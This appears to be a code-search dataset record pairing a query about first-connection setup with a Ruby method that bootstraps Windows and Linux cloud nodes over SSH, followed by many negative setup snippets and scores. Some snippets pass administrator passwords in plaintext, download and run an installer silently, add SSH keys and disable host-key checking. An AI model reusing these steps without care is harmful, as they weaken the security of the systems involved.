#{node['apache_zookeeper'][\"zoo.cfg\"].select{ |key, value| key.to_s.match(/\\Aserver.\\d+\\z/)}}\" if @zookeeper_myid.nil?\n\n elsif node['apache_zookeeper'][\"servers\"].empty?\n log \"Configuring standalone zookeeper cluster\"\n else\n log \"Configuring mult-server zookeeper cluster\"\n\n id = 1\n node['apache_zookeeper'][\"servers\"].each do |server|\n if server.include? \":\"\n # If they include port information in their list of servers just use the raw value\n node.default['apache_zookeeper'][\"zoo.cfg\"][\"server.#{id}\"] = server\n else\n node.default['apache_zookeeper'][\"zoo.cfg\"][\"server.#{id}\"] = \"#{server}:#{node['apache_zookeeper'][\"follower_port\"]}:#{node['apache_zookeeper'][\"election_port\"]}\"\n end\n\n if does_server_match_node? server\n @zookeeper_myid = id.to_s\n end\n\n id = id + 1\n end\n\n raise \"Unable to find server [#{node[\"fqdn\"]} in servers attribute #{node['apache_zookeeper'][\"servers\"]}\" if @zookeeper_myid.nil?\n end\n\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def do_setup \n config = self.config\n host = config['app']['host']\n port = config['app']['port']\n @url_base = \"http://#{host}:#{port}\"\n puts config.inspect\n @pcap_dir = config.fetch 'pcap_dir'\n @index_dir = config.fetch 'index_dir'\n\n # Extract test pcaps and indexes\n FileUtils.rm_rf '/tmp/pcapr_local_test'\n FileUtils.mkdir_p @pcap_dir\n FileUtils.mkdir_p @index_dir\n\n\n # Recreate test database.\n begin\n couch = config['couch']\n RestClient.delete \"#{couch['uri']}/#{couch['database']}\"\n rescue RestClient::ResourceNotFound\n end\n db = @db = PcaprLocal.get_db(config)\n end", "def startup\nend", "def setup\n unless @platform.provisioning.empty?\n script = @platform.provisioning.join(' && ')\n dispatch(script)\n end\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def wsman_initialize client, epr_or_uri, node\n# STDERR.puts \"Wbem::WsmanInstance.new epr_or_uri #{epr_or_uri}\"\n @node = node.body.child rescue node\n# STDERR.puts \"Wsman::Instance.new @node #{@node.class}\"\n @epr = (epr_or_uri.is_a? Openwsman::EndPointReference) ? epr_or_uri : Openwsman::EndPointReference.new(epr_or_uri) if epr_or_uri\n @client = client\n end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def setup(resources) ; end", "def setup\n true\n end", "def initial_setup\n CORE.each { |c| c.auto_migrate! }\n end", "def setup_environment; end", "def setup\n ::Celluloid.logger = ::Karafka.logger\n # This is just a precaution - it should automatically close the current\n # connection and shutdown actor - but in case it didn't (hanged, etc)\n # we will kill it after waiting for some time\n ::Celluloid.shutdown_timeout = SHUTDOWN_TIME\n end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end" ]
[ "0.6613323", "0.65186834", "0.6492129", "0.6326467", "0.63023156", "0.6208451", "0.6206191", "0.6199062", "0.61709434", "0.6152944", "0.6065814", "0.6042249", "0.5961434", "0.592379", "0.5896963", "0.5888718", "0.5888718", "0.5888718", "0.5888718", "0.5888718", "0.5876143", "0.5857822", "0.5852031", "0.5833416", "0.58094585", "0.57760894", "0.57697934", "0.57697934", "0.5766115", "0.5756351", "0.5755339", "0.5742522", "0.5742522", "0.57425", "0.5742128", "0.57199806", "0.57199806", "0.57199806", "0.57199806", "0.57199806", "0.57199806", "0.57199806", "0.57199806", "0.57199806", "0.57199806", "0.57199806", "0.57199806", "0.5700095", "0.56893927", "0.56848013", "0.56685185", "0.56642306", "0.56503093", "0.5634122", "0.5626818", "0.5623237", "0.5623237", "0.561996", "0.5617057", "0.5603926", "0.5603926", "0.560044", "0.55984205", "0.55894417", "0.55838215", "0.5578777", "0.5576869", "0.5573517", "0.557246", "0.5572252", "0.5572252", "0.55674195", "0.55628127", "0.55556214", "0.5555156", "0.5555156", "0.5555156", "0.5555156", "0.5555156", "0.5555156", "0.5548202", "0.5548202", "0.5548202", "0.5548202", "0.5548202", "0.5548202", "0.5548202", "0.55476075", "0.5538014", "0.5536638", "0.5535563", "0.5533859", "0.5531463", "0.5529958", "0.5511916", "0.5511916", "0.5511916", "0.5511916", "0.5511916", "0.5511916" ]
0.6526297
1
Basic setup tasks performed on a new node during its first initial ssh connection. Most of this is terrible Windows glue.
def initialSSHTasks(ssh) win_env_fix = %q{echo 'export PATH="$PATH:/cygdrive/c/opscode/chef/embedded/bin"' > "$HOME/chef-client"; echo 'prev_dir="`pwd`"; for __dir in /proc/registry/HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session\ Manager/Environment;do cd "$__dir"; for __var in `ls * | grep -v TEMP | grep -v TMP`;do __var=`echo $__var | tr "[a-z]" "[A-Z]"`; test -z "${!__var}" && export $__var="`cat $__var`" >/dev/null 2>&1; done; done; cd "$prev_dir"; /cygdrive/c/opscode/chef/bin/chef-client.bat $@' >> "$HOME/chef-client"; chmod 700 "$HOME/chef-client"; ( grep "^alias chef-client=" "$HOME/.bashrc" || echo 'alias chef-client="$HOME/chef-client"' >> "$HOME/.bashrc" ) ; ( grep "^alias mu-groom=" "$HOME/.bashrc" || echo 'alias mu-groom="powershell -File \"c:/Program Files/Amazon/Ec2ConfigService/Scripts/UserScript.ps1\""' >> "$HOME/.bashrc" )} win_installer_check = %q{ls /proc/registry/HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Installer/} lnx_installer_check = %q{ps auxww | awk '{print $11}' | egrep '(/usr/bin/yum|apt-get|dpkg)'} lnx_updates_check = %q{( test -f /.mu-installer-ran-updates || ! test -d /var/lib/cloud/instance ) || echo "userdata still running"} win_set_pw = nil if windows? and !@config['use_cloud_provider_windows_password'] # This covers both the case where we have a windows password passed from a vault and where we need to use a a random Windows Admin password generated by MU::Cloud::Server.generateWindowsPassword pw = @groomer.getSecret( vault: @config['mu_name'], item: "windows_credentials", field: "password" ) win_check_for_pw = %Q{powershell -Command '& {Add-Type -AssemblyName System.DirectoryServices.AccountManagement; $Creds = (New-Object System.Management.Automation.PSCredential("#{@config["windows_admin_username"]}", (ConvertTo-SecureString "#{pw}" -AsPlainText -Force)));$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine); $DS.ValidateCredentials($Creds.GetNetworkCredential().UserName, $Creds.GetNetworkCredential().password); echo $Result}'} win_set_pw = %Q{powershell -Command "& {(([adsi]('WinNT://./#{@config["windows_admin_username"]}, user')).psbase.invoke('SetPassword', '#{pw}'))}"} end # There shouldn't be a use case where a domain joined computer goes through initialSSHTasks. Removing Active Directory specific computer rename. set_hostname = true hostname = nil if !@config['active_directory'].nil? if @config['active_directory']['node_type'] == "domain_controller" && @config['active_directory']['domain_controller_hostname'] hostname = @config['active_directory']['domain_controller_hostname'] @mu_windows_name = hostname set_hostname = true else # Do we have an AD specific hostname? hostname = @mu_windows_name set_hostname = true end else hostname = @mu_windows_name end win_check_for_hostname = %Q{powershell -Command '& {hostname}'} win_set_hostname = %Q{powershell -Command "& {Rename-Computer -NewName '#{hostname}' -Force -PassThru -Restart; Restart-Computer -Force }"} begin # Set our admin password first, if we need to if windows? and !win_set_pw.nil? and !win_check_for_pw.nil? output = ssh.exec!(win_check_for_pw) raise MU::Cloud::BootstrapTempFail, "Got nil output from ssh session, waiting and retrying" if output.nil? if !output.match(/True/) MU.log "Setting Windows password for user #{@config['windows_admin_username']}", details: ssh.exec!(win_set_pw) end end if windows? output = ssh.exec!(win_env_fix) output = ssh.exec!(win_installer_check) raise MU::Cloud::BootstrapTempFail, "Got nil output from ssh session, waiting and retrying" if output.nil? if output.match(/InProgress/) raise MU::Cloud::BootstrapTempFail, "Windows Installer service is still doing something, need to wait" end if set_hostname and !@hostname_set and @mu_windows_name output = ssh.exec!(win_check_for_hostname) raise MU::Cloud::BootstrapTempFail, "Got nil output from ssh session, waiting and retrying" if output.nil? if !output.match(/#{@mu_windows_name}/) MU.log "Setting Windows hostname to #{@mu_windows_name}", details: ssh.exec!(win_set_hostname) @hostname_set = true # Reboot from the API too, in case Windows is flailing if [email protected]? @cloudobj.reboot else reboot end raise MU::Cloud::BootstrapTempFail, "Set hostname in Windows, waiting for reboot" end end else output = ssh.exec!(lnx_installer_check) if !output.nil? and !output.empty? raise MU::Cloud::BootstrapTempFail, "Linux package manager is still doing something, need to wait (#{output})" end if !@config['skipinitialupdates'] output = ssh.exec!(lnx_updates_check) if !output.nil? and output.match(/userdata still running/) raise MU::Cloud::BootstrapTempFail, "Waiting for initial userdata system updates to complete" end end end rescue RuntimeError => e raise MU::Cloud::BootstrapTempFail, "Got #{e.inspect} performing initial SSH connect tasks, will try again" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def setup\n create_vagrantfile()\n\n teardown()\n\n output << bold(color(\"localhost$\", :green)) << \" vagrant up\\n\"\n vagrant(\"up\")\n\n # Establish ssh connectivity\n nodes.each do |k,v|\n output << bold(color(\"localhost$\", :green)) << \" ssh #{k}\\n\"\n chan = Net::SSH.start(k, 'vagrant', :config => ssh_config)\n\n RSpec.configuration.rspec_storage[:nodes][k] = {\n :ssh => chan,\n }\n end\n\n nil\n end", "def setup\r\n setup_wiki\r\n setup_host_map\r\n setup_host\r\n end", "def register_node\n case node['platform']\n when 'windows'\n # Create temp directory where we copy/create source files to install tscm agent\n directory \"#{node['tscm']['temp']}\" do\n action :create\n not_if { ::File.directory?('C:\\\\tscm_temp')}\n end\n # copy tscm proxy key of tscm server on Node\n cookbook_file \"#{node['tscm']['temp']}\\\\#{node['tscm']['native_proxykey']}\" do\n source \"#{node['tscm']['native_proxykey']}\"\n action :create\n end\n # fix permissions of client side files keys\n powershell_script 'fix_keyfile_permission' do\n code <<-EOH\n cd 'C:/Program Files/OpenSSH-Win64/'\n Import-Module ./OpenSSHUtils.psd1 -Force \n Repair-UserKeyPermission -FilePath 'C:\\\\tscm_temp\\\\SCM_id_rsa' -Confirm:$false\n EOH\n end\n \n execute 'register-tscm' do\n command \"C:\\\\PROGRA~1\\\\OpenSSH-Win64\\\\ssh.exe -vvv -n -o StrictHostKeyChecking=no -vvv -i #{node['tscm']['temp']}\\\\SCM_id_rsa #{node['tscm']['TSCMProxy_user']}@#{node['tscm']['TSCMProxy_server']}\" + \" powershell.exe -File #{node['tscm']['tscmWrapper_path']} reg #{node['tscm']['hostname']} w2k12 #{node['tscm']['ipaddress']} > #{node['tscm']['register_log']} 2>&1\"\n action :run\n timeout 3600\n end\n ruby_block 'sleep-after-register' do\n block do\n sleep(120)\n end\n action :run\n end\n end\nend", "def exec_setup\n exec_task_traverse 'setup'\n end", "def SetUpNodes\n \n @nodes.each do |node|\n\n if node.type==\"R\" or node.type==\"A\" or node.type==\"G\"\n \t\n\tSetMode(node)\n\n\tEnforceChannels(node)\n\t\n\tSetEssid(node) # after this stage, with omf-5.4 the wlan interface is created.\n\t\n\tSetWifiPower(node)\n\n\tSetMtu(node)\n\t\n\tSetIp(node)\n\t\n\tNode(node.id).exec(\"sysctl -w net.ipv4.conf.all.send_redirects=0\")\n \n EnforceRates(node)\n\t\n end\n #final settings\n #self.GetGroupInterface(node, ifn).txqueuelen=\"10\"\n end\n end", "def setup\n\n setup_path\n save_application_details\n add_jvm_args\n rename_server_instance\n\n \"/bin/bash ./#{SETUP_ENV_SCRIPT}\"\n end", "def setup()\n # simulate a \"startup\" function (not available in my Test Unit version)\n if @@cmptr.nil?\n @@cmptr = 0 # Set to 0 at first run to make confiuration only once\n print \"Please provide the email to use for firefox sync: \"\n @@email = STDIN.gets.chomp()\n print \"Please provide the password to use for firefox sync: \"\n @@pwd = STDIN.gets.chomp()\n print \"Please provide the passphrase (aka recovery key) to use for firefox sync: \"\n @@passphrase = STDIN.gets.chomp()\n end\n end", "def setup\n\n setup_path\n save_application_details\n add_jvm_args\n rename_server_instance\n\n \"/bin/sh ./#{SETUP_ENV_SCRIPT}\"\n end", "def initialize_ssh; end", "def on_ready(s, commands)\n create_server_on_master(s)\n \n wait_for_public_ip = get_field('wait_for_public_ip')\n\n start = Time.now\n unless wait_for_public_ip == false\n msg = \"Waiting for server '#{s.name}' #{s.identity} to get a public ip\"\n Maestro.log.debug msg\n write_output(\"#{msg}... \")\n \n begin\n s.wait_for { !public_ip_address.nil? and !public_ip_address.empty? }\n rescue Fog::Errors::TimeoutError => e\n msg = \"Server '#{s.name}' #{s.identity} failed to get a public ip (#{Time.now - start}s)\"\n Maestro.log.warn msg\n write_output(\"failed (#{Time.now - start}s)\\n\")\n return nil\n end\n end\n \n Maestro.log.debug \"Server '#{s.name}' #{s.identity} is now accessible through ssh (#{Time.now - start}s)\"\n write_output(\"done (#{Time.now - start}s)\\n\")\n \n # save some values in the workitem so they are accessible for deprovision and other tasks\n populate_meta([s], 'new')\n save_server_in_context([s])\n \n log_output(\"Server '#{s.name}' #{s.identity} started with public ip '#{s.public_ip_address}' and private ip '#{private_address(s)}'\", :info)\n \n start = Time.now\n msg = \"Initial setup for server '#{s.name}' #{s.identity} on '#{s.public_ip_address}'\"\n Maestro.log.debug msg\n write_output(\"#{msg}...\")\n begin\n setup_server(s)\n Maestro.log.debug \"Finished initial setup for server '#{s.name}' #{s.identity} on '#{s.public_ip_address}' (#{Time.now - start}s)\"\n write_output(\"done (#{Time.now - start}s)\\n\")\n rescue Net::SSH::AuthenticationFailed => e\n log_output(\"Failed to setup server '#{s.name}' #{s.identity} on '#{s.public_ip_address}' (#{Time.now - start}s). Authentication failed for user '#{s.username}'\")\n return nil\n end\n \n # provision through ssh\n start = Time.now\n server_errors = provision_execute(s, commands)\n unless server_errors.empty?\n log_output(\"Server '#{s.name}' #{s.identity} failed to provision\", :info)\n write_output(server_errors.join(\"\\n\"))\n return nil\n end\n log_output(\"Server '#{s.name}' #{s.identity} ssh provisioned in #{Time.now-start}s\", :info)\n \n return s\n end", "def do_setup; \"\" end", "def setup\n puts \"Starting test\"\n TRConnector.instance.start\n sleep(1)\n end", "def set_up_server\n node = Chef::Node.new\n node.name 'nothing'\n node.automatic[:platform] = 'kitchen_metal'\n node.automatic[:platform_version] = 'kitchen_metal'\n Chef::Config.local_mode = true\n run_context = Chef::RunContext.new(node, {},\n Chef::EventDispatch::Dispatcher.new(Chef::Formatters::Doc.new(STDOUT,STDERR)))\n recipe_exec = Chef::Recipe.new('kitchen_vagrant_metal',\n 'kitchen_vagrant_metal', run_context)\n\n # We require a platform, but layout in driver is optional\n recipe_exec.instance_eval get_platform_recipe\n recipe = get_driver_recipe\n recipe_exec.instance_eval recipe if recipe\n return run_context\n end", "def setup\n EventBus.subscribe(Events::DOWN_ARE_NODES_ALIVE, self, :on_alive_request)\n info \"Startup\"\n Thread.new {\n OmfCommon.init(CONFIG[:env], communication: {url: CONFIG[:xmpp_url]}) {\n OmfCommon.comm.on_connected { |comm|\n info \"WiseOMF >> Connected to XMPP server\"\n # Test end???\n comm.on_interrupted {\n puts \"WiseOMF >> Interrupt!\"\n ResourceProxyManager.instance.handle_interrupt\n }\n }\n }\n }.run\n sleep(5)\n\n OmfRc::ResourceFactory.load_additional_resource_proxies('../lib')\n ResourceProxyManager.instance\n # Do nothing\n end", "def initialWinRMTasks(shell)\n retries = 0\n rebootable_fails = 0\n begin\n if !@config['use_cloud_provider_windows_password']\n pw = @groomer.getSecret(\n vault: @config['mu_name'],\n item: \"windows_credentials\",\n field: \"password\"\n )\n win_check_for_pw = %Q{Add-Type -AssemblyName System.DirectoryServices.AccountManagement; $Creds = (New-Object System.Management.Automation.PSCredential(\"#{@config[\"windows_admin_username\"]}\", (ConvertTo-SecureString \"#{pw}\" -AsPlainText -Force)));$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine); $DS.ValidateCredentials($Creds.GetNetworkCredential().UserName, $Creds.GetNetworkCredential().password); echo $Result}\n resp = shell.run(win_check_for_pw)\n if resp.stdout.chomp != \"True\"\n win_set_pw = %Q{(([adsi]('WinNT://./#{@config[\"windows_admin_username\"]}, user')).psbase.invoke('SetPassword', '#{pw}'))}\n resp = shell.run(win_set_pw)\n puts resp.stdout\n MU.log \"Resetting Windows host password\", MU::NOTICE, details: resp.stdout\n end\n end\n\n # Install Cygwin here, because for some reason it breaks inside Chef\n # XXX would love to not do this here\n pkgs = [\"bash\", \"mintty\", \"vim\", \"curl\", \"openssl\", \"wget\", \"lynx\", \"openssh\"]\n admin_home = \"c:/bin/cygwin/home/#{@config[\"windows_admin_username\"]}\"\n install_cygwin = %Q{\n If (!(Test-Path \"c:/bin/cygwin/Cygwin.bat\")){\n $WebClient = New-Object System.Net.WebClient\n $WebClient.DownloadFile(\"http://cygwin.com/setup-x86_64.exe\",\"$env:Temp/setup-x86_64.exe\")\n Start-Process -wait -FilePath $env:Temp/setup-x86_64.exe -ArgumentList \"-q -n -l $env:Temp/cygwin -R c:/bin/cygwin -s http://mirror.cs.vt.edu/pub/cygwin/cygwin/ -P #{pkgs.join(',')}\"\n }\n if(!(Test-Path #{admin_home})){\n New-Item -type directory -path #{admin_home}\n }\n if(!(Test-Path #{admin_home}/.ssh)){\n New-Item -type directory -path #{admin_home}/.ssh\n }\n if(!(Test-Path #{admin_home}/.ssh/authorized_keys)){\n New-Item #{admin_home}/.ssh/authorized_keys -type file -force -value \"#{@deploy.ssh_public_key}\"\n }\n }\n resp = shell.run(install_cygwin)\n if resp.exitcode != 0\n MU.log \"Failed at installing Cygwin\", MU::ERR, details: resp\n end\n\n set_hostname = true\n hostname = nil\n if !@config['active_directory'].nil?\n if @config['active_directory']['node_type'] == \"domain_controller\" && @config['active_directory']['domain_controller_hostname']\n hostname = @config['active_directory']['domain_controller_hostname']\n @mu_windows_name = hostname\n set_hostname = true\n else\n # Do we have an AD specific hostname?\n hostname = @mu_windows_name\n set_hostname = true\n end\n else\n hostname = @mu_windows_name\n end\n resp = shell.run(%Q{hostname})\n\n if resp.stdout.chomp != hostname\n resp = shell.run(%Q{Rename-Computer -NewName '#{hostname}' -Force -PassThru -Restart; Restart-Computer -Force})\n MU.log \"Renaming Windows host to #{hostname}; this will trigger a reboot\", MU::NOTICE, details: resp.stdout\n reboot(true)\n sleep 30\n end\n rescue WinRM::WinRMError, HTTPClient::ConnectTimeoutError => e\n retries, rebootable_fails = handleWindowsFail(e, retries, rebootable_fails, max_retries: 10, reboot_on_problems: true, retry_interval: 30)\n retry\n end\n end", "def initialWinRMTasks(shell)\n retries = 0\n rebootable_fails = 0\n begin\n if !@config['use_cloud_provider_windows_password']\n pw = @groomer.getSecret(\n vault: @config['mu_name'],\n item: \"windows_credentials\",\n field: \"password\"\n )\n win_check_for_pw = %Q{Add-Type -AssemblyName System.DirectoryServices.AccountManagement; $Creds = (New-Object System.Management.Automation.PSCredential(\"#{@config[\"windows_admin_username\"]}\", (ConvertTo-SecureString \"#{pw}\" -AsPlainText -Force)));$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine); $DS.ValidateCredentials($Creds.GetNetworkCredential().UserName, $Creds.GetNetworkCredential().password); echo $Result}\n resp = shell.run(win_check_for_pw)\n if resp.stdout.chomp != \"True\"\n win_set_pw = %Q{(([adsi]('WinNT://./#{@config[\"windows_admin_username\"]}, user')).psbase.invoke('SetPassword', '#{pw}'))}\n resp = shell.run(win_set_pw)\n puts resp.stdout\n MU.log \"Resetting Windows host password\", MU::NOTICE, details: resp.stdout\n end\n end\n\n # Install Cygwin here, because for some reason it breaks inside Chef\n # XXX would love to not do this here\n pkgs = [\"bash\", \"mintty\", \"vim\", \"curl\", \"openssl\", \"wget\", \"lynx\", \"openssh\"]\n admin_home = \"c:/bin/cygwin/home/#{@config[\"windows_admin_username\"]}\"\n install_cygwin = %Q{\n If (!(Test-Path \"c:/bin/cygwin/Cygwin.bat\")){\n $WebClient = New-Object System.Net.WebClient\n $WebClient.DownloadFile(\"http://cygwin.com/setup-x86_64.exe\",\"$env:Temp/setup-x86_64.exe\")\n Start-Process -wait -FilePath $env:Temp/setup-x86_64.exe -ArgumentList \"-q -n -l $env:Temp/cygwin -R c:/bin/cygwin -s http://mirror.cs.vt.edu/pub/cygwin/cygwin/ -P #{pkgs.join(',')}\"\n }\n if(!(Test-Path #{admin_home})){\n New-Item -type directory -path #{admin_home}\n }\n if(!(Test-Path #{admin_home}/.ssh)){\n New-Item -type directory -path #{admin_home}/.ssh\n }\n if(!(Test-Path #{admin_home}/.ssh/authorized_keys)){\n New-Item #{admin_home}/.ssh/authorized_keys -type file -force -value \"#{@deploy.ssh_public_key}\"\n }\n }\n resp = shell.run(install_cygwin)\n if resp.exitcode != 0\n MU.log \"Failed at installing Cygwin\", MU::ERR, details: resp\n end\n\n hostname = nil\n if !@config['active_directory'].nil?\n if @config['active_directory']['node_type'] == \"domain_controller\" && @config['active_directory']['domain_controller_hostname']\n hostname = @config['active_directory']['domain_controller_hostname']\n @mu_windows_name = hostname\n else\n # Do we have an AD specific hostname?\n hostname = @mu_windows_name\n end\n else\n hostname = @mu_windows_name\n end\n resp = shell.run(%Q{hostname})\n\n if resp.stdout.chomp != hostname\n resp = shell.run(%Q{Rename-Computer -NewName '#{hostname}' -Force -PassThru -Restart; Restart-Computer -Force})\n MU.log \"Renaming Windows host to #{hostname}; this will trigger a reboot\", MU::NOTICE, details: resp.stdout\n reboot(true)\n sleep 30\n end\n rescue WinRM::WinRMError, HTTPClient::ConnectTimeoutError => e\n retries, rebootable_fails = handleWindowsFail(e, retries, rebootable_fails, max_retries: 10, reboot_on_problems: true, retry_interval: 30)\n retry\n end\n end", "def start\n begin\n SSH::Home.new( ssh_home, @debug_options ).setup\n rescue\n maybe_cleanup_old_key_pair\n ssh_keygen\n retry unless dry_run\n end\n end", "def setup_node(&blk)\n\t\t\t\tnode_setup_blocks << blk\n\t\t\tend", "def setup_common(id, options = {})\n node = options[:for_node]\n options[:memory] ||= 1024\n\n # Base setup: Ubuntu Server 14.04 LTS (Trusty Tahr) 64-bit for Parallels\n node.vm.box = \"parallels/ubuntu-14.04\"\n\n # Setup provider\n node.vm.provider \"parallels\" do |provider|\n provider.memory = options[:memory]\n end\n\n # Puppet setup\n node.vm.provision :puppet do |pp|\n pp.module_path = \"Puppet/modules\"\n pp.manifests_path = \"Puppet/manifests\"\n pp.manifest_file = \"init_#{id}.pp\"\n pp.hiera_config_path = \"Hiera/#{id}.yaml\"\n end\nend", "def setup()\n end", "def setup\r\n end", "def event_startup()\n require 'md5'\n\n # Generate a random AES session key first thing\n @connection.comm.keyring.rekey!\n\n # This is where we load the user's public and private key from the env.yml\n # configuration file. If it's not there, we spawn a helpful creation tool.\n # This tool MUST return public key, private key, and user-name.\n unless @var[:our_name] and @var[:pub_rsa] and @var[:prv_rsa]\n @var[:our_name], @var[:pub_rsa], @var[:prv_rsa] = keygen_tool()\n if @var[:our_name] and @var[:prv_rsa].to_s =~ /[0-9a-f]+:[0-9a-f]+/ and\n @var[:pub_rsa].to_s =~ /[0-9a-f]+:[0-9a-f]+/\n _save_env\n else\n add_error(\"YOU HAVE NO KEYS! TOOL MUST BE CALLED.\")\n Kernel.exit(0)\n end\n end\n @connection.comm.initialize_address_book(@var[:pub_rsa], @var[:prv_rsa],\n @var[:our_name])\n\n _network_init\n\n # Startup the timer thread\n Thread.new do\n loop do\n sleep 15\n dispatch :timer\n end\n end\n\n # Auto-connect?\n local_connect('') if @var[:auto_connect]\nend", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def prep\n client.run_ohai\n client.load_node # from the server\n client.build_node\n end", "def setup\n # noop\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup_helper\n\n # Define ZOO_LOG_DIR\n node.default['apache_zookeeper'][\"env_vars\"][\"ZOO_LOG_DIR\"] = node['apache_zookeeper']['log_dir']\n\n # Make sure server ids are set or set them\n if !node['apache_zookeeper'][\"zoo.cfg\"].select{ |key, value| key.to_s.match(/\\Aserver.\\d+\\z/)}.empty?\n log \"Using given zoo.cfg config for server ids\"\n\n node['apache_zookeeper'][\"zoo.cfg\"].select{ |key, value| key.to_s.match(/\\Aserver.\\d+\\z/)}.each do |key, value|\n if does_server_match_node? value\n @zookeeper_myid = key[\"server.\".size, key.size]\n break\n end\n end\n\n raise \"Unable to find server [#{node[\"fqdn\"]} in zoo.cfg attributes #{node['apache_zookeeper'][\"zoo.cfg\"].select{ |key, value| key.to_s.match(/\\Aserver.\\d+\\z/)}}\" if @zookeeper_myid.nil?\n\n elsif node['apache_zookeeper'][\"servers\"].empty?\n log \"Configuring standalone zookeeper cluster\"\n else\n log \"Configuring mult-server zookeeper cluster\"\n\n id = 1\n node['apache_zookeeper'][\"servers\"].each do |server|\n if server.include? \":\"\n # If they include port information in their list of servers just use the raw value\n node.default['apache_zookeeper'][\"zoo.cfg\"][\"server.#{id}\"] = server\n else\n node.default['apache_zookeeper'][\"zoo.cfg\"][\"server.#{id}\"] = \"#{server}:#{node['apache_zookeeper'][\"follower_port\"]}:#{node['apache_zookeeper'][\"election_port\"]}\"\n end\n\n if does_server_match_node? server\n @zookeeper_myid = id.to_s\n end\n\n id = id + 1\n end\n\n raise \"Unable to find server [#{node[\"fqdn\"]} in servers attribute #{node['apache_zookeeper'][\"servers\"]}\" if @zookeeper_myid.nil?\n end\n\n end", "def configure_serverspec(node)\n set :backend, :ssh\n host = node.ssh_info[:host].to_s\n options = Net::SSH::Config.for(host)\n options[:user] = node.ssh_info[:username].to_s\n options[:keys] = node.ssh_info[:private_key_path][0].to_s\n options[:port] = node.ssh_info[:port].to_s\n\n set :host, host\n set :ssh_options, options\n end", "def setup(state)\n transport.connection(state) do |conn|\n conn.execute(busser.setup_cmd)\n end\n end", "def connect\n nodes.each do |k,v|\n rs_storage = RSpec.configuration.rs_storage[:nodes][k]\n raise RuntimeError, \"No internal storage for node #{k}\" if rs_storage.nil?\n\n ipaddress = rs_storage[:ipaddress]\n raise RuntimeError, \"No ipaddress provided from launch phase for node #{k}\" if ipaddress.nil?\n\n chan = ssh_connect(:host => k, :user => 'root', :net_ssh_options => {\n :keys => vmconf[:ssh_keys].split(\":\"),\n :host_name => ipaddress,\n })\n RSpec.configuration.rs_storage[:nodes][k][:ssh] = chan\n end\n\n nil\n end", "def setup_ssh_keys\n @env[:ui].info 'Ensuring ssh-keys have been added via `ssh-add`...'\n current_keys = `ssh-add -l`\n if current_keys.include? 'no identities'\n success = system('ssh-add')\n if success\n @env[:ui].success '...ssh-keys successfully added'\n else\n @env[:ui].warn 'failed to call `ssh-add`, some requirements may fail to install'\n end\n else\n @env[:ui].info '...ssh-keys detected, skipping `ssh-add`'\n end\n end", "def connect\n nodes.each do |k,v|\n RSpec.configuration.rs_storage[:nodes][k] ||= {}\n\n chan = ssh_connect(:host => k, :user => 'vagrant', :net_ssh_options => {\n :config => ssh_config\n })\n\n # Copy the authorized keys from vagrant user to root then reconnect\n cmd = 'mkdir /root/.ssh ; cp /home/vagrant/.ssh/authorized_keys /root/.ssh'\n\n output << bold(color(\"#{k}$ \", :green)) << cmd << \"\\n\"\n ssh_exec!(chan, \"cd /tmp && sudo sh -c #{shellescape(cmd)}\")\n\n chan = ssh_connect(:host => k, :user => 'root', :net_ssh_options => {\n :config => ssh_config\n })\n RSpec.configuration.rs_storage[:nodes][k][:ssh] = chan\n end\n\n nil\n end", "def setup(credentials = {})\n requires :public_key, :public_ip_address, :username\n\n credentials[:password] = password unless self.password.nil?\n credentails[:key_data] = [private_key] if self.private_key\n\n commands = [\n %{mkdir .ssh},\n ]\n if public_key\n commands << %{echo \"#{public_key}\" >> ~/.ssh/authorized_keys}\n end\n\n # wait for domain to be ready\n Timeout::timeout(360) do\n begin\n Timeout::timeout(8) do\n Fog::SSH.new(public_ip_address, username, credentials.merge(:timeout => 4)).run('pwd')\n end\n rescue Errno::ECONNREFUSED\n sleep(2)\n retry\n rescue Net::SSH::AuthenticationFailed, Timeout::Error\n retry\n end\n end\n Fog::SSH.new(public_ip_address, username, credentials).run(commands)\n end", "def setup()\n # simulate a \"startup\" function (not available in my Test Unit version)\n if @@cmptr.nil?\n @@cmptr = 0 # Set to 0 at first run to make confiuration only once\n print \"Do you need a HTTP proxy to connect to internet? (y/n) [n]: \"\n conf_proxy = gets.chomp()\n @@prox_ip = @@prox_port = @@prox_login = @@prox_pwd = nil\n if conf_proxy.downcase() == 'y'\n print \"Please enter the HTTP proxy IP: \"\n @@prox_ip = gets.chomp()\n print \"Please enter the HTTP proxy port: \"\n @@prox_port = gets.chomp()\n print \"Please enter the HTTP proxy login (if any): \"\n @@prox_login = gets.chomp()\n if @@prox_login.length == 0\n @@prox_login = nil\n else\n print \"Please enter the HTTP proxy password (if any): \"\n @@prox_pwd = gets.chomp()\n end\n end\n end\n end", "def setup\n reset\n start_tls\n log_in\n set_mailbox\n @backoff = 1\n end", "def startup(workdir)\n validate_platform\n select_target\n setup\n get_remote_workdir\n end", "def setup\n switch_dir\n end", "def setup\n\n @server = ItemServer.new :auth => :basic\n @server.start\n end", "def setup_dns(node)\n # Set up /etc/hosts\n node.vm.provision \"setup-hosts\", :type => \"shell\", :path => \"ubuntu/vagrant/setup-hosts.sh\" do |s|\n s.args = [\"enp0s8\", node.vm.hostname]\n end\n # Set up DNS resolution\n node.vm.provision \"setup-dns\", type: \"shell\", :path => \"ubuntu/update-dns.sh\"\nend", 